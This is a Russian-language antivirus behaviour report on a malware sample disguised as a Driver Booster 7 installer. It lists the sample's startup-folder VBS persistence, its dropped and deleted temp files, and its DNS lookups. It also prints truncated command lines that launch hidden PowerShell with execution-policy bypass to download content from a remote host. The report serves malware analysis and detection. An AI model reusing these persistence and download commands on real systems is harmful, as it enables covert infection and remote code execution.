Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\windows.vbs
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\install.exe
- %TEMP%\43750.5421155324\hebrew.lng
- %TEMP%\43750.5421155324\german.lng
- %TEMP%\43750.5421155324\georgian.lng
- %TEMP%\43750.5421155324\french.lng
- %TEMP%\43750.5421155324\finnish.lng
- %TEMP%\43750.5421155324\english.lng
- %TEMP%\43750.5421155324\dutch.lng
- %TEMP%\43750.5421155324\czech.lng
- %TEMP%\43750.5421155324\chinesetraditional.lng
- %TEMP%\43750.5421155324\chinesesimplified.lng
- %TEMP%\43750.5421155324\japanese.lng
- %TEMP%\43750.5421155324\italian.lng
- %TEMP%\43750.5421155324\bosnian.lng
- %TEMP%\43750.5421155324\croatian.lng
- %TEMP%\43750.5421155324\persian.lng
- %TEMP%\43750.5421155324\belarusian.lng
- %TEMP%\43750.5421155324\arabic.lng
- %TEMP%\43750.5421155324\kurdishsorani.lng
- %TEMP%\43750.5421155324\greek.lng
- %TEMP%\43750.5421155324\polish.lng
- %TEMP%\43750.5421155324\lithuanian.lng
- %TEMP%\43750.5421155324\hungarian.lng
- %TEMP%\43750.5421155324\danish.lng
- %TEMP%\43750.5421155324\albanian.lng
- %TEMP%\43750.5421155324\catalan.lng
- %TEMP%\43750.5421155324\korean.lng
- %TEMP%\43750.5421155324\maltese.lng
- %TEMP%\43750.5421155324\norwegian.lng
- %TEMP%\is-7stii.tmp\install.tmp
- %TEMP%\setup log 2019-10-12 #001.txt
- %TEMP%\is-6vjcg.tmp\_isetup\_setup64.tmp
- %TEMP%\is-6vjcg.tmp\rdzone.dll
- %TEMP%\is-6vjcg.tmp\inno_english.lng
- %TEMP%\is-6vjcg.tmp\icon_1.bmp
- %TEMP%\is-6vjcg.tmp\driverbooster.exe
- %TEMP%\is-6vjcg.tmp\eula.rtf
- %TEMP%\is-6vjcg.tmp-dbinst\eula.rtf
- %TEMP%\is-6vjcg.tmp\dbinstaller.exe
- %TEMP%\is-6vjcg.tmp-dbinst\setup.exe
- <Полный путь к файлу>windows.vbs
- %TEMP%\43750.5421155324\vietnamese.lng
- %TEMP%\43750.5421155324\turkish.lng
- %TEMP%\43750.5421155324\thai.lng
- %TEMP%\43750.5421155324\swedish.lng
- %TEMP%\43750.5421155324\spanish.lng
- %TEMP%\43750.5421155324\slovenian.lng
- %TEMP%\43750.5421155324\slovak.lng
- %TEMP%\43750.5421155324\serbianlatin.lng
- %TEMP%\43750.5421155324\serbiancyrillic.lng
- %TEMP%\43750.5421155324\russian.lng
- %TEMP%\43750.5421155324\romanian.lng
- %TEMP%\43750.5421155324\portugueseptbr.lng
- %TEMP%\43750.5421155324\ukrainian.lng
- %TEMP%\43750.5421155324\latvian.lng
- %TEMP%\43750.5421155324\portugueseptpt.lng
Удаляет следующие файлы
- %TEMP%\is-6vjcg.tmp\dbinstaller.exe
- %TEMP%\is-6vjcg.tmp\driverbooster.exe
- %TEMP%\is-6vjcg.tmp\eula.rtf
- %TEMP%\is-6vjcg.tmp\icon_1.bmp
- %TEMP%\is-6vjcg.tmp\inno_english.lng
- %TEMP%\is-6vjcg.tmp\rdzone.dll
- %TEMP%\is-6vjcg.tmp\_isetup\_setup64.tmp
- %TEMP%\is-7stii.tmp\install.tmp
Сетевая активность
UDP
- DNS ASK up####.iobit.com
- DNS ASK 5.###4top.net
Другое
Создает и запускает на исполнение
- '%TEMP%\install.exe'
- '<SYSTEM32>\wscript.exe' "<Полный путь к файлу>windows.vbs"
- '%TEMP%\is-7stii.tmp\install.tmp' /SL5="$90218,23911516,139264,%TEMP%\install.exe"
- '%TEMP%\is-6vjcg.tmp-dbinst\setup.exe' "%TEMP%\install.exe" /title="Driver Booster 7" /dbver=7.0.2.435 /eula="%TEMP%\is-6VJCG.tmp-dbinst\EULA.rtf" /pmt /dashlane
- '<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('ht...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('ht...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -noexit -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('https://5.top4to...
